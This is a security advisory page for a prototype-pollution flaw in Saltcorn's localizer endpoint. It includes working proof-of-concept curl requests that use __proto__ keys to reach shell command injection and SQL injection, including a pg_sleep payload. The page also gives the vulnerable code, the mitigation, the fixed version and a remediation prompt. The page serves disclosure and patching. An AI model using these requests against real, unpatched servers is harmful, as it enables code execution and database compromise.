# GHSA-78p3-fwcq-62c2: The endpoint `/site-structure/localizer/save-string/:lang/:defstring` accepts two parameter values: `lang` and `defstring`.

> Admins can achieve remote code execution or SQL injection via prototype pollution in the localizer endpoint, requiring specific server configurations.

- **Severity:** Not scored
- **Exploited in the wild:** Not known
- **Login needed:** An administrator
- **Attackable:** Over the internet
- **Victim action needed:** Not needed
- **Fix available:** Yes
- **Published:** 3 Oct 2024

## What is GHSA-78p3-fwcq-62c2?

GHSA-78p3-fwcq-62c2 is a code injection vulnerability in @saltcorn/server, published on 3 Oct 2024. An attacker needs administrator access to exploit it, with no action from the victim.

### Official description

### Summary

The endpoint `/site-structure/localizer/save-string/:lang/:defstring` accepts two parameter values: `lang` and `defstring`. These values are used in an unsafe way to set the keys and value of the `cfgStrings` object. It allows to add/modify properties of the `Object prototype` that result in several logic issues, including:
- RCE vulnerabilities by polluting the `tempRootFolder` property 
- SQL injection vulnerabilities by polluting the `schema` property when using `PostgreSQL` database.

### Details

- file: https://github.com/saltcorn/saltcorn/blob/v1.0.0-beta.13/packages/server/routes/infoarch.js#L236-L239
```js
router.post(
  "/localizer/save-string/:lang/:defstring",
  isAdmin,
  error_catcher(async (req, res) => {
    const { lang, defstring } = req.params; // source

    const cfgStrings = getState().getConfigCopy("localizer_strings");
    if (cfgStrings[lang]) cfgStrings[lang][defstring] = text(req.body.value); // [1] sink
    else cfgStrings[lang] = { [defstring]: text(req.body.value) };
    await getState().setConfig("localizer_strings", cfgStrings);
    res.redirect(`/site-structure/localizer/edit/${lang}`);
  })
);
```

### PoC

Setup:
- set `SALTCORN_NWORKERS=1` before starting the `saltcorn` server (to easily observe the behavior of the PoC)
```
SALTCORN_NWORKERS=1 saltcorn serve
```
- make sure to use PostgresSQL backend
- login with a user with admin permission

#### RCE

This PoC demonstrates how to escalate the Prototype Pollution vulnerability to change the behavior of certain command executed.
- check that the file that will be created does not exists:
```
cat /tmp/RCE
cat: /tmp/RCE: No such file or directory
```

- pollute the `Object.prototype` with a `tempRootFolder` value set to `;echo+"rce"|tee+/tmp/RCE;` by sending the following request *** :

```bash
curl -i -X $'POST' \
    -H $'Host: localhost:3000' \
    -H $'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' -H $'Accept: */*' \
    -H $'Origin: http://localhost:3000' \
    -H $'Connection: close' \
    -b $'loggedin=true; connect.sid=VALID_CONNECT_SID_COOKIE' \
    --data-binary $'_csrf=VALID_csrf_Value&value=;echo+"rce"|tee+/tmp/RCE;' \
    $'http://localhost:3000/site-structure/localizer/save-string/__proto__/tempRootFolder'
```

 visit `http://localhost:3000/plugins/new`
- enter the following fields:
	- Name: `test`
	- Source: `git`
	- other fields blank
  - click `Create`
- you will get an error but the command `echo "rce" | tee /tmp/RCE` will be executed
- to verify:
```
cat /tmp/RCE
rce
```

The RCE occurs because after the previous curl request, the `tempRootFolder` property is set to `;echo+"rce"|tee+/tmp/RCE;` that is later used to build the shell commands.

- file: https://github.com/saltcorn/saltcorn/blob/v1.0.0-beta.13/packages/plugins-loader/plugin_installer.js#L45-L58

```js
class PluginInstaller {
  constructor(plugin, opts = {}) { // opts will have the tempRootFolder property set with dangerous values // [2]
    [...]
    this.tempRootFolder =
      opts.tempRootFolder || envPaths("saltcorn", { suffix: "tmp" }).temp; // [3]
	 [...]
    this.pckJsonPath = join(this.pluginDir, "package.json");
    this.tempDir = join(this.tempRootFolder, "temp_install", ...tokens); // [4]
    [...]
  }
  [...]
}
```

#### SQL Injection

This PoC demonstrates how to escalate the Prototype Pollution vulnerability to change the behavior of certain SQL queries (i.e SQLi).
- visit `http://localhost:3000/table` to check the page returns some results (no errors)
- pollute the `Object.prototype` with a schema value set to `"` (just to create an exception in the query that will be executed to demonstrate the issue) by sending the following request *** :

```
curl -i -X $'POST' \
    -H $'Host: localhost:3000' \
    -H $'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' -H $'Accept: */*' \
    -H $'Origin: http://localhost:3000' \
    -H $'Connection: close' \
    -b $'loggedin=true; connect.sid=VALID_CONNECT_SID_COOKIE' \
    --data-binary $'_csrf=VALID_csrf_Value&value=\"' \
    $'http://localhost:3000/site-structure/localizer/save-string/__proto__/schema'
```

- visit again `http://localhost:3000/table` but this time an SQL error will appear:
```
syntax error at or near "" order by lower(""
```

**NOTE**: Another payload to use as `value` could be `pg_user"+WHERE+1=1+AND+(SELECT+pg_sleep(5))+IS+NOT+NULL+--`

The SQL injection occurs because after the previous curl request, the `schema` property is set to `"`.
- file: https://github.com/saltcorn/saltcorn/blob/v1.0.0-beta.13/packages/postgres/postgres.js#L101

```js
const select = async (tbl, whereObj, selectopts = {}) => { // [2] selectopts
  const { where, values } = mkWhere(whereObj);
  const schema = selectopts.schema || getTenantSchema(); // [3] selectopts.schema
  const sql = `SELECT ${
    selectopts.fields ? selectopts.fields.join(", ") : `*`
  } FROM "${schema}"."${sqlsanitize(tbl)}" ${where} ${mkSelectOptions( // [4] schema
    selectopts,
    values,
    false
  )}`;
  sql_log(sql, values);
  const tq = await (client || selectopts.client || pool).query(sql, values);

  return tq.rows;
};
```

*** Retrieve valid values for the `connect.sid` (`VALID_CONNECT_SID_COOKIE`) and `_csrf` values (`VALID_csrf_Value`) :
- open the browser developer console and go to the `Network` tab
- visit `http://localhost:3000/site-structure/localizer/add-lang`
- add a language (`Name: test` , `Locale: test`) and click `Save`
- under the `Network` tab, filter for `save-lang` and check the request parameters (`Headers` and `Payload`/`Request` tabs)
- copy the values for `connect.sid` and `_csrf` and paste in the curl command above

### Impact

Remote code execution (RCE), Sql injection and business logic errors.

### Recommended Mitigation

Check the values of `lang` and  `defstring` parameters against dangerous properties like `__proto__`, `constructor`, `prototype`.

## Which versions are affected by GHSA-78p3-fwcq-62c2?

2 open source packages ship an affected version, including @saltcorn/server.


| Package | Ecosystem | Affected | Fixed in |
| --- | --- | --- | --- |
| `@saltcorn/server` | npm | All versions | 1.0.0-beta.14 |
| `@saltcorn/server` | npm | All versions | 1.0.0-beta.14 |

## How do I fix GHSA-78p3-fwcq-62c2?

Upgrade @saltcorn/server to 1.0.0-beta.14 or later.

## Is GHSA-78p3-fwcq-62c2 being exploited?

There is no known exploitation of GHSA-78p3-fwcq-62c2 in the wild and no public exploit code.

## Fix prompt for AI coding agents

```text
Check this codebase for GHSA-78p3-fwcq-62c2 and fix it if it is affected.

What it is: GHSA-78p3-fwcq-62c2 is a code injection vulnerability in @saltcorn/server, published on 3 Oct 2024. An attacker needs administrator access to exploit it, with no action from the victim.
Exploitation: There is no known exploitation of GHSA-78p3-fwcq-62c2 in the wild and no public exploit code.

Affected packages and fixed versions:
- @saltcorn/server (npm): affected all versions; fixed in 1.0.0-beta.14
- @saltcorn/server (npm): affected all versions; fixed in 1.0.0-beta.14

Task:
1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.
2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.
3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.
4. Run the tests and summarise what changed and why.
5. If nothing in the project is affected, say so and change nothing.

Reference: https://insights.sbomify.com/GHSA-78p3-fwcq-62c2/ (Markdown: https://insights.sbomify.com/GHSA-78p3-fwcq-62c2/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/GHSA-78p3-fwcq-62c2

---
From sbomify Insights: https://insights.sbomify.com/GHSA-78p3-fwcq-62c2/
Summaries are generated and may contain mistakes; the official description above is the record.